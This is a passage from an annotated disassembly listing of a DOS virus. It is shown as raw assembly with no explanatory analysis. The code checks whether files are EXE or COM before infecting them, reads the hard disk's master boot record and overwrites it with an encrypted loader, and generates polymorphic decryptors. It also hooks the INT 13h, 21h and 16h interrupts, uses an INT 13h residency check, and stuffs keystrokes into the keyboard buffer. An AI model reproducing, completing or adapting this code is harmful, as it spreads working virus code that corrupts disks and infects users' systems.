129E call sub_8 ; (04EB)
12A1 jc loc_170 ; Jump if carry Set
12A3 loc_169: ; xref 9804:129C
12A3 mov ax,data_51 ; (9804:017E=61F7h)
12A6 and al,0E0h
12A8 or al,11h
12AA mov data_51,ax ; (9804:017E=61F7h)
12AD call sub_11 ; (067A)
12B0 loc_170: ; xref 9804:1254, 1261, 1266, 1272
; 1283, 1287, 129A, 12A1
12B0 pop ax
12B1 popf ; Pop flags
12B2 mov ah,3Eh ; '>'
12B4 call sub_5 ; (02C5)
12B7 push ax
12B8 pushf ; Push flags
12B9 call sub_43 ; (1209)
12BC popf ; Pop flags
12BD pop ax
12BE pop si
12BF pop di
12C0 pop ds
12C1 pop es
12C2 pop dx
12C3 pop cx
12C4 pop bx
12C5 retn
sub_45 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:1263
;==========================================================================
12C6 sub_46 proc near
12C6 push bx
12C7 mov ax,1220h
12CA int 2Fh ; DOS Internal services
12CC jnc loc_172 ; Jump if carry=0
12CE loc_171: ; xref 9804:12D6
12CE stc ; Set carry flag
12CF jmp short loc_181 ; (1344)
12D1 nop
12D2 loc_172: ; xref 9804:12CC
12D2 cmp byte ptr es:[di],0FFh
12D6 je loc_171 ; Jump if equal
12D8 xor bx,bx ; Zero register
12DA mov bl,es:[di]
12DD mov ax,1216h
12E0 int 2Fh ; DOS Internal services
12E2 jc loc_181 ; Jump if carry Set
12E4 push es
12E5 pop ds
12E6 push cs
12E7 pop es
12E8 and word ptr [di+2],0FFF8h
12EC or word ptr [di+2],2
12F0 add di,20h
12F3 mov si,di
12F5 cld ; Clear direction
12F6 push si
12F7 , mov di,offset data_67 ; (9804:0748='LP.EXED.COME')
12FA xor bx,bx ; Zero register
12FC mov cx,8
12FF locloop_173: ; xref 9804:1306
12FF lodsb ; String [si] to al
1300 cmp al,20h ; ' '
1302 je loc_174 ; Jump if equal
1304 stosb ; Store al to es:[di]
1305 inc bx
1306 loop locloop_173 ; Loop if cx > 0
1308 loc_174: ; xref 9804:1302
1308 mov al,2Eh ; '.'
130A stosb ; Store al to es:[di]
130B inc bx
130C pop si
130D add si,8
1310 mov cx,3
1313 locloop_175: ; xref 9804:131C
1313 lodsb ; String [si] to al
1314 cmp al,20h ; ' '
1316 je loc_176 ; Jump if equal
1318 stosb ; Store al to es:[di]
1319 inc bx
131A inc bh
131C loop locloop_175 ; Loop if cx > 0
131E loc_176: ; xref 9804:1316
131E cmp bh,3
1321 je loc_178 ; Jump if equal
1323 loc_177: ; xref 9804:1332, 133D
1323 stc ; Set carry flag
1324 jmp short loc_181 ; (1344)
1326 loc_178: ; xref 9804:1321
1326 sub si,3
1329 lodsw ; String [si] to ax
132A cmp ax,5845h
132D je loc_179 ; Jump if equal
132F cmp ax,4F43h
1332 jne loc_177 ; Jump if not equal
1334 loc_179: ; xref 9804:132D
1334 lodsb ; String [si] to al
1335 cmp ax,5845h
1338 je loc_180 ; Jump if equal
133A cmp ax,4F4Dh
133D jne loc_177 ; Jump if not equal
133F loc_180: ; xref 9804:1338
133F mov bh,0
1341 call sub_14 ; (06AB)
1344 loc_181: ; xref 9804:12CF, 12E2, 1324
1344 pop bx
1345 retn
sub_46 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0510, 05FD
;==========================================================================
1346 sub_47 proc near
1346 test data_59,4 ; (9804:018C=4)
134B jz loc_183 ; Jump if zero
134D cmp data_48,0 ; (9804:0179=1)
1352 je loc_182 ; Jump if equal
1354 mov ax,[si+0Eh]
1357 sub ax,[si+16h]
135A jz loc_183 ; Jump if zero
135C sub ax,3
135F ja loc_183 ; Jump if above
1361 mov ax,[si+14h]
1364 cmp ax,1E6Ah
1367 jb loc_183 ; Jump if below
1369 cmp ax,1EC4h
136C ja loc_183 ; Jump if above
136E stc ; Set carry flag
136F retn
1370 loc_182: ; xref 9804:1352
1370 cmp byte ptr [si],0E9h
1373 jne loc_183 ; Jump if not equal
1375 stc ; Set carry flag
1376 retn
1377 loc_183: ; xref 9804:134B, 135A, 135F, 1367
; 136C, 1373
1377 clc ; Clear carry flag
1378 retn
sub_47 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:00B5, 180B, 1E29
;==========================================================================
1379 sub_48 proc near
1379 mov ax,5445h
137C int 13h ; ??int non-standard interrupt
137E cmp ax,4554h
1381 je loc_184 ; Jump if equal
1383 push cs
1384 pop es
1385 xor ax,ax ; Zero register
1387 mov ds,ax
1389 , mov si,data_2e ; (0000:004C=74h)
138C , mov di,1447h ; (9804:1447=97h)
138F cld ; Clear direction
1390 movsw ; Mov [si] to es:[di]
1391 movsw ; Mov [si] to es:[di]
1392 push cs
1393 pop ds
1394 mov dx,80h
1397 mov cx,1
139A mov ax,201h
139D mov bx,1E6Ah
13A0 call sub_59 ; (18A5)
13A3 jnc loc_185 ; Jump if carry=0
13A5 loc_184: ; xref 9804:1381, 13B2, 13D0, 13E1
13A5 jmp short loc_ret_187 ; (1408)
13A7 nop
13A8 loc_185: ; xref 9804:13A3
13A8 mov ax,ds:data_171e ; (9804:1F6C=0)
13AB sub ax,ds:data_170e ; (9804:1F6A=0)
13AF cmp ax,0CCFFh
13B2 je loc_184 ; Jump if equal
13B4 mov ah,8
13B6 mov dl,80h
13B8 call sub_59 ; (18A5)
13BB mov ax,310h
13BE xor bx,bx ; Zero register
13C0 inc ch
13C2 mov data_150,cx ; (9804:1B11=3AFFh)
13C6 dec dh
13C8 sub cl,10h
13CB mov dl,80h
13CD call sub_59 ; (18A5)
13D0 jc loc_184 ; Jump if carry Set
13D2 add cl,10h
13D5 mov bx,1E6Ah
13D8 mov ax,301h
13DB call sub_53 ; (163C)
13DE call sub_59 ; (18A5)
13E1 jc loc_184 ; Jump if carry Set
13E3 cld ; Clear direction
13E4 mov bl,1
13E6 call sub_49 ; (1462)
13E9 mov dx,80h
13EC mov cx,1
13EF mov ax,301h
13F2 mov bx,1E6Ah
13F5 test data_59,80h ; (9804:018C=4)
13FA jz loc_186 ; Jump if zero
13FC , push ax ; PARAMETER_4
13FD push bx ; PARAMETER_3
13FE push cx ; PARAMETER_2
13FF push dx ; PARAMETER_1
1400 call sub_63 ; (1945)
1403 jnc loc_ret_187 ; Jump if carry=0
1405 loc_186: ; xref 9804:13FA
1405 call sub_64 ; (19D7)
1408 loc_ret_187: ; xref 9804:13A5, 1403
1408 retn
sub_48 endp
1409 cli ; Disable interrupts
140A xor ax,ax ; Zero register
140C mov ss,ax
140E mov sp,7C00h
1411 mov ds,ax
1413 mov dl,0A9h
1415 mov si,7C16h
1418 loc_188: ; xref 9804:141D
1418 add [si],dl
141A inc si
141B inc dl
141D jle loc_188 ; Jump if < or =
141F sti ; Enable interrupts
1420 int 12h ; Put (memory size)/1K in ax
1422 sub ax,9
1425 mov cl,6
1427 shl ax,cl ; Shift w/zeros fill
1429 mov es,ax
142B mov ah,8
142D mov dl,80h
142F int 13h ; Disk dl=drive 0 ah=func 08h
; get drive parameters, bl=type
; cx=cylinders, dh=max heads
1431 inc ch
1433 dec dh
1435 sub cl,10h
1438 mov dl,80h
143A mov ax,211h
143D xor bx,bx ; Zero register
143F int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
1441 push es
1442 mov ax,144Bh
1445 push ax
1446 retf ; Return far
1447 xchg di,ax
1448 and ax,0FD58h
144B push ds
144C pop es
144D push cs
144E pop ds
144F , mov di,data_176e ; (9804:7C00=0)
1452 push es
1453 push di
1454 , mov si,data_172e ; (9804:2000=0)
1457 cld ; Clear direction
1458 mov cx,200h
145B rep movsb ; Rep when cx >0 Mov [si] to es:[di]
145D call sub_56 ; (16F1)
1460 sti ; Enable interrupts
1461 retf ; Return far
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:13E6, 1C84
;==========================================================================
1462 sub_49 proc near
1462 mov word ptr ds:data_175e,0 ; (9804:20BA=0)
1468 push bx
1469 cld ; Clear direction
146A call sub_19 ; (08B6)
146D mov ah,data_102[bx] ; (9804:0F7E=0BBh)
1471 mov byte ptr ds:[1415h],ah ; (9804:1415=0BEh)
1475 mov ah,data_104[bx] ; (9804:0F84=43h)
1479 mov byte ptr ds:[141Ah],ah ; (9804:141A=46h)
147D mov dl,bl
147F add bl,3
1482 cmp bl,3
1485 jne loc_189 ; Jump if not equal
1487 sub bl,2
148A loc_189: ; xref 9804:1485
148A mov byte ptr ds:[0F5Dh],bl ; (9804:0F5D=64h)
148E loc_190: ; xref 9804:149D
148E call sub_21 ; (093A)
1491 not ax
1493 and al,7
1495 mov bl,al
1497 shr al,1 ; Shift w/zeros fill
1499 cmp byte ptr ds:[0F5Dh],al ; (9804:0F5D=64h)
149D je loc_190 ; Jump if equal
149F mov data_95,bl ; (9804:0F5E=6)
14A3 mov ah,data_110[bx] ; (9804:0FA6=0B0h)
14A7 mov byte ptr ds:[1413h],ah ; (9804:1413=0B2h)
14AB mov ah,data_115[bx] ; (9804:0FD6=0C0h)
14AF mov byte ptr ds:[141Ch],ah ; (9804:141C=0C2h)
14B3 shl dl,1 ; Shift w/zeros fill
14B5 shl dl,1 ; Shift w/zeros fill
14B7 shl dl,1 ; Shift w/zeros fill
14B9 add bl,dl
14BB mov ah,data_111[bx] ; (9804:0FAE=7)
14BF mov byte ptr ds:[1419h],ah ; (9804:1419=14h)
14C3 call sub_21 ; (093A)
14C6 mov bl,ah
14C8 and bx,3
14CB mov ah,data_117[bx] ; (9804:0FE6=75h)
14CF mov byte ptr ds:[141Dh],ah ; (9804:141D=7Eh)
14D3 call sub_19 ; (08B6)
14D6 mov al,data_114[bx] ; (9804:0FD2=30h)
14DA mov ah,0E0h
14DC mov word ptr ds:[15A3h],ax ; (9804:15A3=0E028h)
14DF xor bl,3
14E2 mov al,data_114[bx] ; (9804:0FD2=30h)
14E6 mov byte ptr ds:[1418h],al ; (9804:1418=0)
14E9 loc_191: ; xref 9804:14F2
14E9 call sub_21 ; (093A)
14EC or ah,80h
14EF cmp ah,0D8h
14F2 jae loc_191 ; Jump if above or =
14F4 pop bx
14F5 push bx
14F6 push ax
14F7 mov bh,0
14F9 mov byte ptr ds:[1414h],ah ; (9804:1414=0A9h)
14FD mov si,1409h
1500 mov di,1E6Ah
1503 mov word ptr ds:[1416h],7C16h ; (9804:1416=7C16h)
1509 cmp bl,2
150C jne loc_192 ; Jump if not equal
150E mov di,1EA8h
1511 mov word ptr ds:[1416h],7C54h ; (9804:1416=7C16h)
1517 loc_192: ; xref 9804:150C
1517 call sub_21 ; (093A)
151A and ax,3
151D xchg bx,ax
151E mov al,data_119[bx] ; (9804:0FF6=0C0h)
1522 mov [si+2],al
1525 mov al,0D0h
1527 add al,bl
1529 mov [si+4],al
152C movsw ; Mov [si] to es:[di]
152D movsw ; Mov [si] to es:[di]
152E movsw ; Mov [si] to es:[di]
152F movsw ; Mov [si] to es:[di]
1530 mov dh,bl
1532 xor cx,cx ; Zero register
1534 call sub_50 ; (15B9)
1537 call sub_21 ; (093A)
153A or ax,ax ; Zero ?
153C jp loc_193 ; Jump if parity=1
153E mov ax,[si]
1540 add si,2
1543 or data_59,8 ; (9804:018C=4)
1548 movsw ; Mov [si] to es:[di]
1549 movsb ; Mov [si] to es:[di]
154A stosw ; Store ax to es:[di]
154B jmp short loc_194 ; (1550)
154D loc_193: ; xref 9804:153C
154D movsw ; Mov [si] to es:[di]
154E movsw ; Mov [si] to es:[di]
154F movsb ; Mov [si] to es:[di]
1550 loc_194: ; xref 9804:154B
1550 call sub_51 ; (15FF)
1553 movsw ; Mov [si] to es:[di]
1554 mov byte ptr ds:[0F5Ch],0FFh ; (9804:0F5C=0FFh)
1559 call sub_27 ; (0B74)
155C call sub_52 ; (160B)
155F lodsw ; String [si] to ax
1560 sub ah,cl
1562 stosw ; Store ax to es:[di]
1563 sub cl,ch
1565 mov al,ch
1567 test data_59,8 ; (9804:018C=4)
156C jz loc_195 ; Jump if zero
156E add al,2
1570 loc_195: ; xref 9804:156C
1570 and data_59,0F7h ; (9804:018C=4)
1575 cbw ; Convrt byte to word
1576 , mov si,data_163e ; (9804:1E77=0)
1579 sub si,ax
157B mov ax,cx
157D pop cx
157E pop bx
157F push cx
1580 cmp bl,2
1583 jne loc_196 ; Jump if not equal
1585 add si,3Eh
1588 loc_196: ; xref 9804:1583
1588 cbw ; Convrt byte to word
1589 add [si],ax
158B pop ax
158C mov cx,1Fh
158F mov si,1DEFh
1592 cmp bl,2
1595 je locloop_197 ; Jump if equal
1597 cmp bl,1
159A jne loc_ret_198 ; Jump if not equal
159C mov cx,28h
159F , mov si,141Fh ; (9804:141F=0FBh)
15A2 locloop_197: ; xref 9804:1595, 15A8
15A2 lodsb ; String [si] to al
15A3 sub al,ah
15A5 inc ah
15A7 stosb ; Store al to es:[di]
15A8 loop locloop_197 ; Loop if cx > 0
15AA call sub_21 ; (093A)
15AD not ax
15AF mov ds:data_170e,ax ; (9804:1F6A=0)
15B2 add ax,0CCFFh
15B5 mov ds:data_171e,ax ; (9804:1F6C=0)
15B8 loc_ret_198: ; xref 9804:159A
15B8 retn
sub_49 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:1534
;==========================================================================
15B9 sub_50 proc near
15B9 add si,2
15BC call sub_21 ; (093A)
15BF not ax
15C1 and al,3
15C3 mov bl,al
15C5 mov dl,data_113[bx] ; (9804:0FCE=3Eh)
15C9 cmp al,1
15CB je loc_201 ; Jump if equal
15CD cmp al,3
15CF je loc_201 ; Jump if equal
15D1 shr bl,1 ; Shift w/zeros fill
15D3 mov al,6
15D5 mul bl ; ax = reg * al
15D7 mov bx,ax
15D9 loc_199: ; xref 9804:15E2
15D9 call sub_21 ; (093A)
15DC and ah,3
15DF cmp ah,3
15E2 je loc_199 ; Jump if equal
15E4 shl ah,1 ; Shift w/zeros fill
15E6 add bl,ah
15E8 mov ax,data_118[bx] ; (9804:0FEA=1F16h)
15EC cmp al,16h
15EE je loc_201 ; Jump if equal
15F0 cmp al,50h ; 'P'
15F2 jne loc_200 ; Jump if not equal
15F4 add al,dh
15F6 stosw ; Store ax to es:[di]
15F7 retn
15F8 loc_200: ; xref 9804:15F2
15F8 add ah,dh
15FA stosw ; Store ax to es:[di]
15FB retn
15FC loc_201: ; xref 9804:15CB, 15CF, 15EE
15FC mov ch,2
15FE retn
sub_50 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:1550
;==========================================================================
15FF sub_51 proc near
15FF cmp dl,3Eh ; '>'
1602 je loc_ret_202 ; Jump if equal
1604 mov al,dl
1606 stosb ; Store al to es:[di]
1607 add cl,1
160A loc_ret_202: ; xref 9804:1602
160A retn
sub_51 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:155C
;==========================================================================
160B sub_52 proc near
160B call sub_21 ; (093A)
160E not ax
1610 add al,ah
1612 cmp al,55h ; 'U'
1614 jb loc_204 ; Jump if below
1616 add si,2
1619 add cl,1
161C mov bl,data_95 ; (9804:0F5E=6)
1620 cmp al,0AAh
1622 jb loc_203 ; Jump if below
1624 mov al,80h
1626 mov ah,data_115[bx] ; (9804:0FD6=0C0h)
162A stosw ; Store ax to es:[di]
162B mov al,1
162D stosb ; Store al to es:[di]
162E retn
162F loc_203: ; xref 9804:1622
162F mov al,80h
1631 mov ah,data_116[bx] ; (9804:0FDE=0E8h)
1635 stosw ; Store ax to es:[di]
1636 mov al,0FFh
1638 stosb ; Store al to es:[di]
1639 retn
163A loc_204: ; xref 9804:1614
163A movsw ; Mov [si] to es:[di]
163B retn
sub_52 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:13DB, 1BE2
;==========================================================================
163C sub_53 proc near
163C pushf ; Push flags
163D push ax
163E push bx
163F push cx
1640 push dx
1641 push di
1642 push si
1643 cld ; Clear direction
1644 mov dx,bx
1646 mov di,dx
1648 mov ax,6566h
164B mov bx,7463h
164E mov cx,200h
1651 locloop_205: ; xref 9804:165D
1651 scasw ; Scan es:[di] for ax
1652 jnz loc_206 ; Jump if not zero
1654 xchg bx,ax
1655 scasw ; Scan es:[di] for ax
1656 jz loc_207 ; Jump if zero
1658 xchg bx,ax
1659 sub di,2
165C loc_206: ; xref 9804:1652
165C dec di
165D loop locloop_205 ; Loop if cx > 0
165F jmp short loc_213 ; (1698)
1661 loc_207: ; xref 9804:1656
1661 mov ax,4Eh
1664 loc_208: ; xref 9804:167B
1664 mov cx,200h
1667 mov di,dx
1669 mov si,0Ch
166C locloop_209: ; xref 9804:1674
166C scasw ; Scan es:[di] for ax
166D jnz loc_210 ; Jump if not zero
166F add es:[di-2],si
1673 loc_210: ; xref 9804:166D
1673 dec di
1674 loop locloop_209 ; Loop if cx > 0
1676 dec ax
1677 dec ax
1678 cmp ax,4Ch
167B je loc_208 ; Jump if equal
167D mov di,dx
167F mov cx,1C0h
1682 mov ax,280h
1685 locloop_211: ; xref 9804:1696
1685 scasw ; Scan es:[di] for ax
1686 jc loc_212 ; Jump if carry Set
1688 dec di
1689 dec di
168A push ax
168B dec ax
168C dec ax
168D scasw ; Scan es:[di] for ax
168E pop ax
168F ja loc_212 ; Jump if above
1691 sub es:[di-2],si
1695 loc_212: ; xref 9804:1686, 168F
1695 dec di
1696 loop locloop_211 ; Loop if cx > 0
1698 loc_213: ; xref 9804:165F
1698 pop si
1699 pop di
169A pop dx
169B pop cx
169C pop bx
169D pop ax
169E popf ; Pop flags
169F retn
sub_53 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:16F1
;==========================================================================
16A0 sub_54 proc near
16A0 mov ax,201h
16A3 , mov bx,offset data_157 ; (9804:1E6A=98h)
16A6 xor cx,cx ; Zero register
16A8 mov ds,cx
16AA push cs
16AB pop es
16AC inc cx
16AD mov dx,80h
16B0 int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
16B2 , mov di,data_173e ; (9804:2028=0)
16B5 , mov si,data_24e ; (0000:7DBE=32h)
16B8 mov cl,40h ; '@'
16BA rep movsb ; Rep when cx >0 Mov [si] to es:[di]
16BC inc cx
16BD push cs
16BE pop ds
16BF mov ax,301h
16C2 mov byte ptr ds:[16CAh],ch ; (9804:16CA=2)
16C6 call sub_64 ; (19D7)
16C9 retn
sub_54 endp
16CA add dl,[bx+si+53h]
16CD push dx
16CE mov ax,201h
16D1 mov bx,1E6Ah
16D4 push cs
16D5 pop es
16D6 mov cx,1
16D9 mov dx,80h
16DC call sub_59 ; (18A5)
16DF , mov di,data_173e ; (9804:2028=0)
16E2 mov cl,40h ; '@'
16E4 rep stosb ; Rep when cx >0 Store al to es:[di]
16E6 inc cx
16E7 mov ax,301h
16EA call sub_64 ; (19D7)
16ED pop dx
16EE pop bx
16EF pop ax
16F0 retn
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:145D
;==========================================================================
16F1 sub_56 proc near
16F1 call sub_54 ; (16A0)
16F4 call sub_4 ; (0251)
16F7 xor ax,ax ; Zero register
16F9 mov ds,ax
16FB , mov si,data_6e ; (0000:0070=53h)
16FE , mov di,offset data_57 ; (9804:0188=0)
1701 movsw ; Mov [si] to es:[di]
1702 movsw ; Mov [si] to es:[di]
1703 , mov si,data_9e ; (0000:0084=9Eh)
1706 , mov di,1B0Dh ; (9804:1B0D=0)
1709 movsw ; Mov [si] to es:[di]
170A movsw ; Mov [si] to es:[di]
170B int 12h ; Put (memory size)/1K in ax
170D mov cs:data_151,ax ; (9804:1B13=0)
1711 sub word ptr ds:data_18e,9 ; (0000:0413=280h)
1716 nop
1717 mov byte ptr cs:[0E6Ch],2 ; (9804:0E6C=6Ah)
171D cli ; Disable interrupts
171E mov ds:data_7e,cs ; (0000:0072=0F000h)
1722 mov word ptr ds:data_6e,172Dh ; (0000:0070=0FF53h)
1728 sti ; Enable interrupts
1729 call sub_20 ; (08D0)
172C retn
sub_56 endp
172D push ax
172E push ds
172F push es
1730 push si
1731 push di
1732 xor ax,ax ; Zero register
1734 mov ds,ax
1736 , mov si,data_9e ; (0000:0084=9Eh)
1739 push cs
173A pop es
173B , mov di,1B0Dh ; (9804:1B0D=0)
173E cld ; Clear direction
173F cmpsw ; Cmp [si] to es:[di]
1740 jz loc_214 ; Jump if zero
1742 mov al,1
1744 loc_214: ; xref 9804:1740
1744 cmpsw ; Cmp [si] to es:[di]
1745 jz loc_215 ; Jump if zero
1747 mov ah,1
1749 loc_215: ; xref 9804:1745
1749 or ax,ax ; Zero ?
174B jz loc_216 ; Jump if zero
174D sub si,4
1750 sub di,4
1753 movsw ; Mov [si] to es:[di]
1754 movsw ; Mov [si] to es:[di]
1755 dec byte ptr es:[0E6Ch] ; (9804:0E6C=6Ah)
175A jnz loc_216 ; Jump if not zero
175C , mov di,1447h ; (9804:1447=97h)
175F , mov si,data_2e ; (0000:004C=74h)
1762 movsw ; Mov [si] to es:[di]
1763 movsw ; Mov [si] to es:[di]
1764 , mov di,1B0Dh ; (9804:1B0D=0)
1767 , mov si,data_2e ; (0000:004C=74h)
176A movsw ; Mov [si] to es:[di]
176B movsw ; Mov [si] to es:[di]
176C , mov di,160h ; (9804:0160=0B2h)
176F , mov si,data_9e ; (0000:0084=9Eh)
1772 movsw ; Mov [si] to es:[di]
1773 movsw ; Mov [si] to es:[di]
1774 mov word ptr ds:data_6e,1784h ; (0000:0070=0FF53h)
177A loc_216: ; xref 9804:174B, 175A
177A pop di
177B pop si
177C pop es
177D pop ds
177E pop ax
177F loc_217: ; xref 9804:17ED
177F jmp cs:data_57 ; (9804:0188=0)
1784 push ax
1785 push ds
1786 push di
1787 xor ax,ax ; Zero register
1789 mov ds,ax
178B mov ds,ds:data_11e ; (0000:008A=1336h)
178F mov ax,ds:data_25e ; (1336:0000=20CDh)
1792 cmp ax,20CDh
1795 jne loc_218 ; Jump if not equal
1797 xor ax,ax ; Zero register
1799 mov ds,ax
179B mov ax,cs:data_151 ; (9804:1B13=0)
179F mov ds:data_18e,ax ; (0000:0413=280h)
17A2 mov ax,word ptr cs:data_57 ; (9804:0188=0)
17A6 mov ds:data_6e,ax ; (0000:0070=0FF53h)
17A9 mov ax,word ptr cs:data_57+2 ; (9804:018A=0)
17AD mov ds:data_7e,ax ; (0000:0072=0F000h)
17B0 mov ax,ds:data_9e ; (0000:0084=109Eh)
17B3 mov cs:data_39,ax ; (9804:0164=4A0h)
17B7 mov ax,ds:data_10e ; (0000:0086=116h)
17BA mov word ptr cs:data_39+2,ax ; (9804:0166=315h)
17BE mov ax,ds:data_14e ; (0000:00A0=10DAh)
17C1 mov word ptr cs:[1823h],ax ; (9804:1823=0)
17C5 mov ax,ds:data_15e ; (0000:00A2=116h)
17C8 mov word ptr cs:[1825h],ax ; (9804:1825=0)
17CC mov word ptr ds:data_14e,17EFh ; (0000:00A0=10DAh)
17D2 mov ds:data_15e,cs ; (0000:00A2=116h)
17D6 mov word ptr ds:data_9e,388h ; (0000:0084=109Eh)
17DC mov ds:data_10e,cs ; (0000:0086=116h)
17E0 push si
17E1 push es
17E2 call sub_69 ; (1AB8)
17E5 call sub_70 ; (1AC7)
17E8 pop es
17E9 pop si
17EA loc_218: ; xref 9804:1795
17EA pop di
17EB pop ds
17EC pop ax
17ED jmp short loc_217 ; (177F)
17EF push ax
17F0 push bx
17F1 push cx
17F2 push dx
17F3 push es
17F4 push ds
17F5 push di
17F6 push si
17F7 test byte ptr cs:[16CAh],80h ; (9804:16CA=2)
17FD jnz loc_219 ; Jump if not zero
17FF or byte ptr cs:[16CAh],80h ; (9804:16CA=2)
1805 cld ; Clear direction
1806 push cs
1807 pop ds
1808 call sub_71 ; (1AE8)
180B call sub_48 ; (1379)
180E ;* call sub_55 ; (16CB)
180E db 0E8h,0BAh,0FEh
1811 call sub_70 ; (1AC7)
1814 loc_219: ; xref 9804:17FD
1814 call sub_57 ; (1827)
1817 call sub_58 ; (1876)
181A pop si
181B pop di
181C pop ds
181D pop es
181E pop dx
181F pop cx
1820 pop bx
1821 pop ax
1822 ;* jmp far ptr loc_1 ; (0000:0000)
1822 db 0EAh
1823 dw 0, 0
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:0103, 1814
;==========================================================================
;----------------- Trap Int 13h -----------------------------------------
1827 sub_57 proc near
1827 mov ax,160Ah
182A int 2Fh ; ??int non-standard interrupt
182C or ax,ax ; Zero ?
182E jnz loc_221 ; Jump if not zero
1830 cmp bh,4
1833 jb loc_221 ; Jump if below
1835 or cs:data_59,4 ; (9804:018C=4)
183B mov ax,5445h
183E int 13h ; ??int non-standard interrupt
1840 cmp ax,4554h
1843 je loc_ret_220 ; Jump if equal
1845 or byte ptr cs:[16CAh],2 ; (9804:16CA=2)
184B mov ax,3513h
184E int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
1850 mov word ptr cs:[1447h],bx ; (9804:1447=2597h)
1855 mov word ptr cs:[1449h],es ; (9804:1449=0FD58h)
185A xor ax,ax ; Zero register
185C mov ds,ax
185E mov word ptr ds:data_2e,1B37h ; (0000:004C=774h)
1864 mov ds:data_3e,cs ; (0000:004E=70h)
1868 loc_ret_220: ; xref 9804:1843
1868 retn
1869 loc_221: ; xref 9804:182E, 1833
1869 and cs:data_59,0FBh ; (9804:018C=4)
186F and byte ptr cs:[16CAh],0FCh ; (9804:16CA=2)
1875 retn
sub_57 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:1817
;==========================================================================
1876 sub_58 proc near
1876 test cs:data_59,4 ; (9804:018C=4)
187C jnz loc_ret_222 ; Jump if not zero
187E mov ax,5445h
1881 int 13h ; ??int non-standard interrupt
1883 cmp ax,4554h
1886 je loc_ret_222 ; Jump if equal
1888 mov ax,word ptr cs:[1B0Dh] ; (9804:1B0D=0)
188C mov word ptr cs:[1447h],ax ; (9804:1447=2597h)
1890 mov ax,cs:data_149 ; (9804:1B0F=0)
1894 mov word ptr cs:[1449h],ax ; (9804:1449=0FD58h)
1898 and byte ptr cs:[16CAh],0FCh ; (9804:16CA=2)
189E call sub_69 ; (1AB8)
18A1 call sub_70 ; (1AC7)
18A4 loc_ret_222: ; xref 9804:187C, 1886
18A4 retn
sub_58 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:13A0, 13B8, 13CD, 13DE, 16DC, 19AF, 19E3
; 1B1F, 1B89, 1B9D, 1BA7, 1BB4, 1BCB, 1BD4
; 1BE5, 1C2F, 1C3D, 1C63, 1C6F, 1C7C, 1C9D
; 1CD3, 1CF6, 1D10, 1D21, 1D47, 1D66, 1DD5
;==========================================================================
18A5 sub_59 proc near
18A5 pushf ; Push flags
18A6 call dword ptr cs:[1447h] ; (9804:1447=2597h)
18AB retn
sub_59 endp
;==========================================================================
;
; External Entry Point
;
;==========================================================================
18AC int_16h_entry proc far ; xref 9804:1999
18AC cmp ah,1
18AF ja loc_224 ; Jump if above
18B1 cmp ah,1
18B4 je loc_223 ; Jump if equal
18B6 call sub_62 ; (191C)
18B9 call sub_60 ; (18F1)
18BC call sub_61 ; (1908)
18BF mov byte ptr cs:[18F0h],2 ; (9804:18F0=2)
18C5 retf 2 ; Return far
int_16h_entry endp
18C8 loc_223: ; xref 9804:18B4
18C8 dec byte ptr cs:[18EDh] ; (9804:18ED=4)
18CD jnz loc_224 ; Jump if not zero
18CF mov byte ptr cs:[18EDh],5 ; (9804:18ED=4)
18D5 push ax
18D6 push cx
18D7 call sub_61 ; (1908)
18DA mov cx,ax
18DC mov ah,5
18DE int 16h ; Keyboard i/o ah=function 05h
; stuff key cx into keybd buffr
18E0 pop cx
18E1 pop ax
18E2 call sub_60 ; (18F1)
18E5 retf 2 ; Return far
18E8 loc_224: ; xref 9804:18AF, 18CD
18E8 ;* jmp far ptr loc_2 ; (0070:042D)
18E8 db 0EAh
18E9 dw 42Dh, 70h
18ED add al,0
18EF add [bp+si],al
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:18B9, 18E2, 1920
;==========================================================================
18F1 sub_60 proc near
18F1 pushf ; Push flags
18F2 call dword ptr cs:[18E9h] ; (9804:18E9=42Dh)
18F7 retn
sub_60 endp
18F8 pop cx
18F9 adc ax,314Eh
18FC dec si
18FD xor [bp+31h],cx
1900 pop cx
1901 adc ax,1559h
1904 dec si
1905 xor [bx+di+15h],bx
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:18BC, 18D7, 1926, 1939
;==========================================================================
1908 sub_61 proc near
1908 push di
1909 mov di,word ptr cs:[18EEh] ; (9804:18EE=0)
190E mov al,byte ptr cs:[18F0h] ; (9804:18F0=2)
1912 cbw ; Convrt byte to word
1913 add di,ax
1915 mov ax,word ptr cs:[18F8h][di] ; (9804:18F8=1559h)
191A pop di
191B retn
sub_61 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:18B6
;==========================================================================
191C sub_62 proc near
191C push ax
191D push cx
191E mov ah,1
1920 call sub_60 ; (18F1)
1923 jz loc_225 ; Jump if zero
1925 xchg cx,ax
1926 call sub_61 ; (1908)
1929 cmp ax,cx
192B je loc_226 ; Jump if equal
192D push ds
192E xor ax,ax ; Zero register
1930 mov ds,ax
1932 mov ax,ds:data_19e ; (0000:041A=30h)
1935 mov ds:data_20e,ax ; (0000:041C=30h)
1938 pop ds
1939 loc_225: ; xref 9804:1923
1939 call sub_61 ; (1908)
193C mov cx,ax
193E mov ah,5
1940 int 16h ; Keyboard i/o ah=function 05h
; stuff key cx into keybd buffr
1942 loc_226: ; xref 9804:192B
1942 pop cx
1943 pop ax
1944 retn
sub_62 endp
;==========================================================================
; SUBROUTINE
;
; Called from: 9804:1400
;==========================================================================
1945 sub_63 proc near
PARAMETER_1 = 4 ; bp+4
PARAMETER_2 = 6 ; bp+6
PARAMETER_3 = 8 ; bp+8
PARAMETER_4 = 0Ah ; bp+0Ah
